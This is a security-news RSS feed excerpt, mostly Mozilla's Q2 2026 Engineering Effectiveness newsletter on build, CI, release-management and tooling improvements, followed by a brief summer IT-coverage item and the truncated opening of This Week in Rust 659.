<pubDate>Thu, 09 Jul 2026 19:08:33 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Welcome to the Q2 edition of the Engineering Effectiveness Newsletter! The Engineering Effectiveness org makes it easy to develop, test and release Mozilla software at scale. See below for some highlights, then read on for more detailed info!</p>
<h3><a class="anchor" href="https://discourse.mozilla.org/#p-295620-highlights-image29x31uploadsijwaz2bmu1cm7txaoyutaj3g7djpeg-1" name="p-295620-highlights-image29x31uploadsijwaz2bmu1cm7txaoyutaj3g7djpeg-1"></a>Highlights <div class="lightbox-wrapper"><a class="lightbox" href="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/c/6/c64f1102bb6b55e5a9e11c7390019d84dcc69fbf.jpeg" rel="noopener nofollow ugc" title="image"><img alt="image" height="31" src="https://us1.discourse-cdn.com/flex001/uploads/mozilla/optimized/3X/c/6/c64f1102bb6b55e5a9e11c7390019d84dcc69fbf_2_29x31.jpeg" width="29"></a></div></h3>
<ul>
<li>
<p>Improved <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1775197">mach startup overhead</a> by 30-50%, as well as a 75% improvement for <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2018327">mach test on Windows</a> and <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2017746">10s faster configure</a> for subsequent runs</p>
</li>
<li>
<p>Moved to weekly scheduled dot releases and <a href="https://docs.google.com/document/d/1oktCbzZ3M7NZTMBxv8yEOYmNHHxaIstZ55vRMI9PmzM/edit?tab=t.0#heading=h.r7335u1pggl8" rel="noopener nofollow ugc">faster rollouts</a>, allowing us to deliver fixes and uplifts to users faster and more reliably</p>
</li>
<li>
<p>Created a <a href="https://tests.firefox.dev/" rel="noopener nofollow ugc">huge number of dashboards</a> to help developers dig into Mochitest and XPCShell tests</p>
</li>
<li>
<p>Stood up <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037084">MacOS worker pools</a> that can run multiple tasks at once using VMs, greatly improving our Mac capacity issues</p>
</li>
<li>
<p>Can now <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034982">navigate to about:pdf</a> in Nightly to open and edit arbitrary PDF files, including the ability to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2047633">set Firefox as your default PDF editor</a> on MacOS</p>
</li>
</ul>
<h3><a class="anchor" href="https://discourse.mozilla.org/#p-295620-detailed-project-updates-2" name="p-295620-detailed-project-updates-2"></a>Detailed Project Updates</h3>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295620-ai-for-development-image38x38uploaduslsg1wyqmsnwpkkcpts9bzsgdspng-3" name="p-295620-ai-for-development-image38x38uploaduslsg1wyqmsnwpkkcpts9bzsgdspng-3"></a>AI for Development <div class="lightbox-wrapper"><a class="lightbox" href="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/d/5/d581d7036fa3d622443350328d622c936216ecf6.png" rel="noopener nofollow ugc" title="image"><img alt="image" height="38" src="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/d/5/d581d7036fa3d622443350328d622c936216ecf6.png" width="38"></a></div></h4>
<ul>
<li>
<p>Suhaib Mujahid deployed the initial version of <a href="https://docs.google.com/document/d/1cLIuNnhefePsixu8iRiqAn75EcVvgQHw48pUTkhpwok/edit?tab=t.0" rel="noopener nofollow ugc">Hackbot</a>, a platform for building and running AI agents to automate parts of the Firefox development workflow.</p>
</li>
<li>
<p>Evgeny Pavlov ported the “Build Repair Agent” to Hackbot and deployed it for testing. It now monitors Firefox build failures and triggers the agent. When an analysis and a proposed patch are ready developers can be notified by email.</p>
</li>
</ul>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295620-bugzilla-image16x16uploadrcf6wygovavtrjvslvu8pj7vnyhpng-4" name="p-295620-bugzilla-image16x16uploadrcf6wygovavtrjvslvu8pj7vnyhpng-4"></a>Bugzilla <img alt="image" height="16" src="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/b/e/bea92544acb6ddb5aa665316f3c7411bc860c8db.png" width="16"></h4>
<ul>
<li>
<p>David Lawrence added a new GitHubPullRequests extension that renders a live status panel in the bug modal for any attachment whose content type is text/x-github-pull-request. A new REST endpoint fetches PR metadata (state, author, labels, latest review per reviewer) from the GitHub REST API on demand, and a client-side script populates a table with a “show closed/merged” toggle.[image]</p>
</li>
<li>
<p>Xavier L’Hour improved the user experience for developers, adding shortcuts to buglist.cgi for all, open, or closed bugs (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1764713">1764713</a>)</p>
</li>
<li>
<p>Xavier L’Hour added a new shortcut button to the bug page that allows users to quickly move spam bugs to the Invalid Bugs product (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1684509">1684509</a>).</p>
</li>
</ul>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295620-build-system-and-mach-environment-image27x27uploadoumafz5bcpgk6de6ddcb6m1uzptpng-5" name="p-295620-build-system-and-mach-environment-image27x27uploadoumafz5bcpgk6de6ddcb6m1uzptpng-5"></a>Build System and Mach Environment <div class="lightbox-wrapper"><a class="lightbox" href="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/a/e/ae9342c7f7dcfe9d427c191b43c7aaf993ceeffb.png" rel="noopener nofollow ugc" title="image"><img alt="image" height="27" src="https://us1.discourse-cdn.com/flex001/uploads/mozilla/optimized/3X/a/e/ae9342c7f7dcfe9d427c191b43c7aaf993ceeffb_2_27x27.png" width="27"></a></div></h4>
<ul>
<li>
<p>Alex Hochheiden has been moving build system logic out of make to pave the way for a new build system backend (coming soon). See <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038789">Bug 2038789</a>.</p>
</li>
<li>
<p>Alex Hochheiden landed a 30%-50% (platform dependent) speedup for mach startup. See <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1775197">Bug 1775197</a>.</p>
</li>
<li>
<p>Alex Hochheiden sped up subsequent configure runs by ~10s by adding caching to the mach taskgraph toolchain step. See <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2017746">Bug 2017746</a>.</p>
</li>
<li>
<p>Alex Hochheiden reduced mach test startup overhead on Windows by 75%. See <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2018327">Bug 2018327</a>.</p>
</li>
<li>
<p>Alex Hochheiden has achieved significant code deduplication and simplification by consolidating the Android Gradle configuration into convention plugins. There were also various Gradle configure-cache improvements. See <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2007013">Bug 2007013</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1950099">Bug 1950099</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2013417">Bug 2013417</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2017752">Bug 2017752</a>, and <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2017753">Bug 2017753</a>.</p>
</li>
</ul>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295620-firefox-ci-image25x26uploadga1rfuc1fs6gwtrx3kk92r8hfncjpeg-6" name="p-295620-firefox-ci-image25x26uploadga1rfuc1fs6gwtrx3kk92r8hfncjpeg-6"></a>Firefox-CI <div class="lightbox-wrapper"><a class="lightbox" href="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/7/4/74356ec644bf30f10ea5f0ce6067cdd819ea96e4.jpeg" rel="noopener nofollow ugc" title="image"><img alt="image" height="26" src="https://us1.discourse-cdn.com/flex001/uploads/mozilla/optimized/3X/7/4/74356ec644bf30f10ea5f0ce6067cdd819ea96e4_2_25x26.jpeg" width="25"></a></div></h4>
<ul>
<li>
<p>Julien Cristau <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2050408">added support</a> for interactive tasks (aka one click loaners) on Windows and macOS</p>
</li>
<li>
<p>Andrew Halberstadt <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2044330">implemented</a> mach try support with Github, being used in mozilla/enterprise-firefox-try and coming to Firefox soon.</p>
</li>
<li>
<p>Andrew Halberstadt <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033838">implemented the machinery</a> to start making Gecko CI tasks clone from Github.</p>
</li>
<li>
<p>Ryan Curran <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037084">brought Firefox CI’s Apple Silicon VM infrastructure into production</a>. Building on the MacOS CI image pipeline established last year, he migrated test suites onto virtual machines and grew the macosx1500-aarch64-vms pool so Taskcluster now routes eligible jobs to VMs alongside physical hardware. This reduces reliance on physical Macs, increases CI capacity, and supports the ongoing migration off of older Intel-based macOS infrastructure</p>
</li>
<li>
<p>Jonathan Moss migrated Firefox CI’s cloud-based Windows testing from Windows 11 24H2 to 25H2, moving the bulk of Firefox’s Windows test coverage to Microsoft’s latest platform and keeping CI aligned with the Windows version most commonly used by Firefox Desktop users</p>
</li>
<li>
<p>Florian Quèze <a href="https://tests.firefox.dev/" rel="noopener nofollow ugc">created many dashboards</a> to help dig into Mochitests and XPCShell tests</p>
</li>
<li>
<p>Ryan VanderMeulen landed a set of improvements to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032657">mach try chooser</a>. The update adds an exclude filter, a clearer preview pane with removable job rows, an artifact-builds toggle, and a warning when a selection exceeds task-prioritization thresholds. It also fixes a bug where choosing Firefox for Android jobs would unintentionally clear selections for other platforms.</p>
</li>
</ul>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295620-lint-static-analysis-and-code-coverage-image27x27uploadkn3nhhyhkaolavr6gxkheo6anzipng-7" name="p-295620-lint-static-analysis-and-code-coverage-image27x27uploadkn3nhhyhkaolavr6gxkheo6anzipng-7"></a>Lint, Static Analysis and Code Coverage <div class="lightbox-wrapper"><a class="lightbox" href="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/9/1/91b73ae1a5bbfd19ca329cc65f4d62b37af7e5aa.png" rel="noopener nofollow ugc" title="image"><img alt="image" height="27" src="https://us1.discourse-cdn.com/flex001/uploads/mozilla/optimized/3X/9/1/91b73ae1a5bbfd19ca329cc65f4d62b37af7e5aa_2_27x27.png" width="27"></a></div></h4>
<ul>
<li>
<p>Valentin Rigal and Bastien Abadie created a Code Review Bot prototype for publication of review comments using various source linters on Github</p>
</li>
<li>
<p>Morgan Rae Reschenberg added support for accessibility review to Code Review Bot</p>
</li>
</ul>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295620-mozregression-image39x39uploadylbryrsvu4qhpj3mc4hc711j7vtpng-8" name="p-295620-mozregression-image39x39uploadylbryrsvu4qhpj3mc4hc711j7vtpng-8"></a>Mozregression <div class="lightbox-wrapper"><a class="lightbox" href="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/f/0/f0af28d9caa6771eea75f11a03fc36a70c4f99d3.png" rel="noopener nofollow ugc" title="image"><img alt="image" height="39" src="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/f/0/f0af28d9caa6771eea75f11a03fc36a70c4f99d3.png" width="39"></a></div></h4>
<ul>
<li>Zeid fixed a bug in mozregression-gui on macOS, where the camera and microphone capture request was getting rejected (released in 7.3.0). Thanks to bug report + tip from Andreas Pehrson.</li>
</ul>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295620-pdfjs-image29x29upload2uk22g71cqevreav3jhzijhygjypng-9" name="p-295620-pdfjs-image29x29upload2uk22g71cqevreav3jhzijhygjypng-9"></a>PDF.js <div class="lightbox-wrapper"><a class="lightbox" href="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/1/4/14623e0fefd12c91cad11a97baf9fca17c37df1c.png" rel="noopener nofollow ugc" title="image"><img alt="image" height="29" src="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/1/4/14623e0fefd12c91cad11a97baf9fca17c37df1c.png" width="29"></a></div></h4>
<ul>
<li>
<p>Calixte <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034982">added about:pdf to use an entrypoint</a> for opening and editing arbitrary PDF files[image]</p>
</li>
<li>
<p>Calixte added support for playing videos/sounds embedded in PDF files</p>
</li>
</ul>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295620-phabricator-image24x24upload2ptgi5cxdz7gakmm6kmos0gcoebpng-moz-phab-and-lando-image31x31uploadgmikcks6na3yujyuukfnivfqrmwpng-10" name="p-295620-phabricator-image24x24upload2ptgi5cxdz7gakmm6kmos0gcoebpng-moz-phab-and-lando-image31x31uploadgmikcks6na3yujyuukfnivfqrmwpng-10"></a>Phabricator <img alt="image" height="24" src="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/1/3/13d60ed2ffbfe1aa32c2cc2ccc5121ba3b8c5a87.png" width="24">, moz-phab, and Lando <div class="lightbox-wrapper"><a class="lightbox" href="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/7/5/75a4b58f20908eed139910e672355b6e4ac88562.png" rel="noopener nofollow ugc" title="image"><img alt="image" height="31" src="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/7/5/75a4b58f20908eed139910e672355b6e4ac88562.png" width="31"></a></div></h4>
<ul>
<li>
<p>Connor Sheehan improved the uplift experience by leveraging Lando to manage the assessment forms, train selection, and automatic application, so conflicts are detected earlier. The number of uplifts via Lando has <a href="https://sql.telemetry.mozilla.org/dashboard/uplift-dashboard?p_date_range=d_last_12_months">out-paced</a> those via Moz-Phab, and sailed through the rise in uplift numbers (likely due to more sec-bugs getting fixed and uplifted).</p>
</li>
<li>
<p>Zeid added support for private GitHub repositories in Lando, allowing security patches to be implemented in a private clone of a repo, and pushed to the public one.</p>
</li>
<li>
<p>Olivier Mehani finalized support for using the new Lando instance for try-pushes. This brings a host of QoL improvements which weren’t backported to the old instance: better UTF-8 support, smarter conflict resolution and improved security and authentication. It is <a href="https://sql.telemetry.mozilla.org/dashboard/new-lando-try-dashboard?p_date_range=d_last_7_days&amp;p_repo_name=try">now processing about 1500 pushes / week</a> (old Lando still processes about 50 / week).</p>
</li>
<li>
<p>Magnolia Liu implemented automatic pushes to Try for uplift requests, for faster feedback in case of issues.</p>
</li>
<li>
<p>Olivier Mehani added a view of a user’s current and recent jobs on <a href="https://lando.moz.tools/" rel="noopener nofollow ugc">the landing page of Lando</a> when authenticated.</p>
</li>
<li>
<p>Zeid identified and fixed the causes of some stability and reliability issues in Lando, which were causing increased downtime during deployments and on an ongoing basis.</p>
</li>
<li>
<p>Olivier Mehani deployed a PoC of reviewer selection on the GitHub pilot, allowing Herald-like mechanisms to GitHub PRs.</p>
</li>
<li>
<p>Olivier Mehani and Connor Sheehan (with Corey Bryant and Daniel Darnell) migrated the COMM project to GitHub <a href="http://github.com/thunderbird/thunderbird-desktop" rel="noopener nofollow ugc">https://github.com/thunderbird/thunderbird-desktop</a>, sharing Firefox’s syncing model.</p>
</li>
</ul>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295620-release-management-and-engineering-image29x29uploadgyvgvdmglodpm14lqcrvtdappfzpng-11" name="p-295620-release-management-and-engineering-image29x29uploadgyvgvdmglodpm14lqcrvtdappfzpng-11"></a>Release Management and Engineering <div class="lightbox-wrapper"><a class="lightbox" href="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/7/6/76f9deb903b684961e54fa3afbdabcc30db09731.png" rel="noopener nofollow ugc" title="image"><img alt="image" height="29" src="https://us1.discourse-cdn.com/flex001/uploads/mozilla/optimized/3X/7/6/76f9deb903b684961e54fa3afbdabcc30db09731_2_29x29.png" width="29"></a></div></h4>
<ul>
<li>
<p>Donal Meehan drove the Release Management team’s move to a weekly scheduled dot release cadence for Desktop and Android, starting with Firefox 151. This allows us to deliver fixes and approved uplifts to users faster and more predictably. This change is expected to reduce unplanned releases, improve release flexibility, and create a more consistent release rhythm across teams.</p>
</li>
<li>
<p>Dianna Smith drove the update to the Release Management team’s <a href="https://docs.google.com/document/d/1oktCbzZ3M7NZTMBxv8yEOYmNHHxaIstZ55vRMI9PmzM/edit?tab=t.0#heading=h.r7335u1pggl8" rel="noopener nofollow ugc">Desktop major release rollout process</a>, starting with Firefox 152. Instead of throttling to 0% on day 2, it will remain at 25% rollout for two days before moving to 100%, unless any issues arise. This should help us collect uptake and stability signals earlier while still allowing time to catch problems before full rollout.</p>
</li>
<li>
<p>Pascal Chevrel completed the update to the dictionaries shipped with Firefox Desktop. The update added eleven new dictionaries, covering Croatian, English (UK), Georgian, Persian, Slovenian, Tajik, Tamil, Tibetan, Turkish, Welsh, and Xhosa, and refreshed nine others. This expanded the number of locales with a built-in spellchecker from 30 to 41 beginning in Firefox 152. Special thanks to Francesco Lodolo, Bryan Olsson, and the localization community for reviewing the patches and helping assess the quality of the dictionaries.</p>
</li>
<li>
<p>Pascal Chevrel delivered a range of improvements to <a href="https://whattrainisitnow.com/" rel="noopener nofollow ugc">WhatTrainIsItNow</a>, including expanded it to cover weekly dot releases and ESR planned dot releases, added new uplift views including a <a href="https://whattrainisitnow.com/release/uplifts/" rel="noopener nofollow ugc">dot-release uplifts page</a> and a <a href="https://whattrainisitnow.com/beta/uplifts/graph/" rel="noopener nofollow ugc">beta uplift graph</a>, and published <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2045812">new APIs</a> that surface train-selection and <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2044143">uplift guidance inside Lando</a>. He also made performance improvements and a steady stream of fixes across the site.</p>
</li>
<li>
<p>At Pwn2Own 2026, Firefox came through with no successful exploits, thanks to preparation across many teams and individuals. Within Release Management, Ryan VanderMeulen drove pre-event patch readiness and Dianna Smith coordinated the releases during the event, including the 150.0.3 dot release, which mitigated the root cause behind several of the contest entries.</p>
</li>
<li>
<p>Dianna Smith built out release-health monitoring and alerting in Bigeye, giving Release Management a growing set of automated alerts that surface data anomalies earlier to aid in release health and regression detection. To make the capability easy to extend, she also <a href="https://docs.google.com/document/d/11WAYaMt2RQOAZLjYti3VZY6Bcws1fjF5q8hBlYUKgHo/edit?tab=t.0" rel="noopener nofollow ugc">created a guide for other teams</a> to add monitoring and alerts for the areas they know best. Teams that want an earlier signal on their own metrics are encouraged to use the guide and help grow the coverage.</p>
</li>
</ul>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295620-release-operations-12" name="p-295620-release-operations-12"></a>Release Operations <img alt=":wrench:" class="emoji" height="20" src="https://emoji.discourse-cdn.com/twitter/wrench.png?v=15" title=":wrench:" width="20"></h4>
<ul>
<li>
<p>Ryan Curran built <a href="https://github.com/mozilla-platform-ops/hangar" rel="noopener nofollow ugc">Hangar</a>, a live dashboard for monitoring Firefox CI’s worker pools. It consolidates fleet data from several systems into one view, giving Release Operations a single place to check fleet health and catch problems such as missing or quarantined workers early.</p>
</li>
<li>
<p>Ryan Curran created the <a href="https://github.com/mozilla-platform-ops/BuildWatch" rel="noopener nofollow ugc">iOS version of BuildWatch</a>, and Andrew Erickson ported it to <a href="https://github.com/mozilla-platform-ops/BuildWatch-Android" rel="noopener nofollow ugc">Android</a>. BuildWatch lets you monitor Firefox CI try pushes from your phone, including live per-platform build status, failure summaries, and one-tap retriggers. It uses only public APIs, so no VPN is required.</p>
</li>
<li>
<p>Andrew Erickson and Mark Cornmesser developed <a href="https://github.com/mozilla-platform-ops/fleetbench" rel="noopener nofollow ugc">Fleetbench</a>, a tool for benchmarking Firefox CI workers. It currently measures CPU and ADB/USB I/O performance, helping Release Operations identify slow or outlier hosts before they skew performance test results such as Speedometer and trigger noisy or false regressions.</p>
</li>
<li>
<p>Andrew Erickson built <a href="https://pool-classifier.relops.mozilla.com/" rel="noopener nofollow ugc">Pool Classifier</a>, a web app for viewing per-worker success rates across Taskcluster worker pools. It classifies newly completed tasks every 15 minutes, giving Release Operations a continuously updated view of worker health and helping surface problematic workers proactively.</p>
</li>
<li>
<p>Andrew Erickson created <a href="https://github.com/mozilla-platform-ops/fleetroll_mvp" rel="noopener nofollow ugc">Fleetroll</a>, a command-line tool Release Operations uses to manage and monitor long-running Linux, macOS, and Windows hardware hosts in Firefox CI Taskcluster. It deploys Puppet branch overrides and Vault secrets, audits what is actually applied, and surfaces each host’s Puppet and Taskcluster state in a live dashboard.</p>
</li>
<li>
<p>Mark Cornmesser built out a set of new worker-metrics dashboards in Yardstick, giving Release Operations clearer real-time visibility into the health of the Firefox CI hardware fleet. These include <a href="https://yardstick.mozilla.org/d/linux-all-status-v1/linux-all-status?orgId=1&amp;from=now-6h&amp;to=now&amp;timezone=browser&amp;var-pool=%24__all&amp;var-hostname=%24__all">Linux worker</a> status, <a href="https://yardstick.mozilla.org/d/windows-all-metrics-v1/windows-all-metrics?orgId=1&amp;from=now-6h&amp;to=now&amp;timezone=browser&amp;var-pool=%24__all&amp;var-hostname=%24__all">Windows worker CPU and disk</a> metrics, and a <a href="https://yardstick.mozilla.org/d/windows-pickup-wait-timeline-v1/066c1e0?orgId=1&amp;from=now-24h&amp;to=now&amp;timezone=browser&amp;var-pool=%24__all">Windows job pickup and wait</a> timeline, with alerting on key thresholds. The full set lives in the <a href="https://yardstick.mozilla.org/dashboards/f/cffmfl1sfr1moe/fxci-hardware-workers">FXCI Hardware Workers folder</a> in Yardstick.</p>
</li>
<li>
<p>Jonathan Moss expanded cloud cost reporting in Looker, adding <a href="https://mozilla.cloud.looker.com/dashboards/2861?Submission%20Date=30%20day&amp;Cloud%20Provider=" rel="noopener nofollow ugc">Azure support</a> alongside the existing GCP data and a cloud-provider filter on the FXCI task overview dashboard. The team can now break down Firefox CI compute costs by cloud provider, making it easier to track and compare spend across Azure and GCP.</p>
</li>
</ul>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295620-taskcluster-image20x25uploado7keh2uqbjtt24xnmh0gz4v0lympng-13" name="p-295620-taskcluster-image20x25uploado7keh2uqbjtt24xnmh0gz4v0lympng-13"></a>Taskcluster <img alt="image" height="25" src="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/a/9/a9086272fd26499516b5a852c89ed3f55df11142.png" width="20"></h4>
<ul>
<li>
<p>Yaraslau Kurmyza added Azure fast deprovision <a href="https://github.com/taskcluster/taskcluster/pull/8790" rel="noopener nofollow ugc">taskcluster#8790</a>  and concurrency <a href="https://github.com/taskcluster/taskcluster/issues/8815" rel="noopener nofollow ugc">taskcluster#8815</a> to improve worker scanner performance. This shows ~2x-4x scan time improvements already.</p>
</li>
<li>
<p>Contributor <a href="https://github.com/nitishagar" rel="noopener nofollow ugc">nitishagar</a>  and Yaraslau Kurmyza added patches <a href="https://github.com/taskcluster/taskcluster/pull/8514" rel="noopener nofollow ugc">taskcluster#8514</a>,  <a href="https://github.com/taskcluster/taskcluster/pull/8784" rel="noopener nofollow ugc">taskcluster#8784</a>  to support compression in Taskcluster services API and Yarik worked with Fastly to resolve broken brotli support on the WAF edge side. Now services transmit significantly less data.</p>
</li>
<li>
<p>Yarik added a dedicated service account to log with read only permissions <a href="https://github.com/mozilla/webservices-infra/pull/11197" rel="noopener nofollow ugc">webservices-infra#11197</a>. This allows <a href="https://github.com/taskcluster/tc-logview/pull/4" rel="noopener nofollow ugc">tc-logview</a> to be used safely by untrusted agents inside containers with narrow short-lived access tokens.</p>
</li>
<li>
<p>Yarik published <a href="http://35.202.240.190/" rel="noopener nofollow ugc">queue forecasting dashboard</a> experiments that continuously collects task events and trains models to enable and improve predictions on a task level (how long will it run, and when will it start). With future plans including extending it to the whole task group (mach try)</p>
</li>
</ul>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295620-treeherder-image32x32upload9mg2vslsdl1se97nhycpirqkvuvpng-14" name="p-295620-treeherder-image32x32upload9mg2vslsdl1se97nhycpirqkvuvpng-14"></a>Treeherder <img alt="image" height="32" src="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/4/4/449439d59f33f7cc62df6501dd75c5f88d6f5fe5.png" width="32"></h4>
<ul>
<li>
<p>Florian Quèze added <a href="https://github.com/mozilla/treeherder/pull/9540" rel="noopener nofollow ugc">treeherder#9540</a> “Show task group profile” item to the push action menu</p>
</li>
<li>
<p>Cameron Dawson, juungo and moijes12 implemented various Treeherder API performance improvements</p>
</li>
<li>
<p>Heitor Neiva added Git branch labels to pushes in Treeherder</p>
</li>
<li>
<p>Andrew Halberstadt <a href="https://github.com/mozilla/treeherder/pull/9496" rel="noopener nofollow ugc">implemented</a> the ability for Treeherder to display multiple Git branches at once, enabling support for “try like” repositories in Github</p>
</li>
</ul>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295620-version-control-image35x35uploadfgrydspdrdwuflvmedhcxxzrhwtpng-15" name="p-295620-version-control-image35x35uploadfgrydspdrdwuflvmedhcxxzrhwtpng-15"></a>Version Control <div class="lightbox-wrapper"><a class="lightbox" href="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/6/d/6ded138b62af5c8222b8f5fab637590ba2920993.png" rel="noopener nofollow ugc" title="image"><img alt="image" height="35" src="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/6/d/6ded138b62af5c8222b8f5fab637590ba2920993.png" width="35"></a></div></h4>
<ul>
<li>
<p>Upgrade <a href="http://hg.mozilla.org/">hg.mozilla.org</a> to Mercurial 7.2.2</p>
</li>
<li>
<p>Created the <a href="https://hg-edge.mozilla.org/releases/mozilla-esr153">mozilla-esr153</a> and <a href="https://hg-edge.mozilla.org/releases/comm-esr153">comm-esr153</a> repositories.</p>
</li>
</ul>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295620-other-image30x30upload1b45rv2lz4qu5bjwdcrkbeihtshpng-16" name="p-295620-other-image30x30upload1b45rv2lz4qu5bjwdcrkbeihtshpng-16"></a>Other <div class="lightbox-wrapper"><a class="lightbox" href="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/0/8/08426801fd78ca4953d83a1589119ec724b9c801.png" rel="noopener nofollow ugc" title="image"><img alt="image" height="30" src="https://us1.discourse-cdn.com/flex001/uploads/mozilla/original/3X/0/8/08426801fd78ca4953d83a1589119ec724b9c801.png" width="30"></a></div></h4>
<ul>
<li>Sylvestre converted our documentation from reStructuredText to MyST flavored Markdown</li>
</ul>
<p>Thanks for reading and see you next quarter!</p>
            <p><small>1 post - 1 participant</small></p>
            <p><a href="https://discourse.mozilla.org/t/engineering-effectiveness-newsletter-q2-2026-edition/148883">Read full topic</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Hidden Security Risks of Reduced Summer IT Coverage]]></title>
<description><![CDATA[Security operations don't slow down when IT teams take vacation, but staffing levels often do. Kaseya explains how AI-driven automation can help organizations maintain consistent security operations and reduce reliance on manual processes year-round. [...]]]></description>
<link>https://tsecurity.de/de/3657352/it-security-nachrichten/the-hidden-security-risks-of-reduced-summer-it-coverage/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3657352/it-security-nachrichten/the-hidden-security-risks-of-reduced-summer-it-coverage/</guid>
<pubDate>Thu, 09 Jul 2026 16:23:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security operations don't slow down when IT teams take vacation, but staffing levels often do. Kaseya explains how AI-driven automation can help organizations maintain consistent security operations and reduce reliance on manual processes year-round. [...]]]></content:encoded>
</item>
<item>
<title><![CDATA[This Week In Rust: This Week in Rust 659]]></title>
<description><![CDATA[Hello and welcome to another issue of This Week in Rust!
Rust is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
@thisweekinrust.bsky.social on Bluesky or
@ThisWeekinRu...]]></description>
<link>https://tsecurity.de/de/3656000/tools/this-week-in-rust-this-week-in-rust-659/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3656000/tools/this-week-in-rust-this-week-in-rust-659/</guid>
<pubDate>Thu, 09 Jul 2026 07:08:34 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hello and welcome to another issue of <em>This Week in Rust</em>!
<a href="https://www.rust-lang.org/">Rust</a> is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
<a href="https://bsky.app/profile/thisweekinrust.bsky.social">@thisweekinrust.bsky.social</a> on Bluesky or
<a href="https://mastodon.social/@thisweekinrust">@ThisWeekinRust</a> on mastodon.social, or
<a href="https://github.com/rust-lang/this-week-in-rust">send us a pull request</a>.
Want to get involved? <a href="https://github.com/rust-lang/rust/blob/main/CONTRIBUTING.md">We love contributions</a>.</p>
<p><em>This Week in Rust</em> is openly developed <a href="https://github.com/rust-lang/this-week-in-rust">on GitHub</a> and archives can be viewed at <a href="https://this-week-in-rust.org/">this-week-in-rust.org</a>.
If you find any errors in this week's issue, <a href="https://github.com/rust-lang/this-week-in-rust/pulls">please submit a PR</a>.</p>
<p>Want TWIR in your inbox? <a href="https://this-week-in-rust.us11.list-manage.com/subscribe?u=fd84c1c757e02889a9b08d289&amp;id=0ed8b72485">Subscribe here</a>.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-rust-community">Updates from Rust Community</a></h4>


<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#official">Official</a></h5>
<ul>
<li><a href="https://blog.rust-lang.org/inside-rust/2026/07/07/maintainer-spotlight-gen-li-rami3l/">Maintainer spotlight: Gen Li (@rami3l)</a></li>
<li><a href="https://blog.rust-lang.org/inside-rust/2026/07/06/unite-for-clippy/">Together for a healthier Clippy</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#newsletters">Newsletters</a></h5>
<ul>
<li><a href="https://www.theembeddedrustacean.com/p/the-embedded-rustacean-issue-75">The Embedded Rustacean Issue #75</a></li>
</ul>
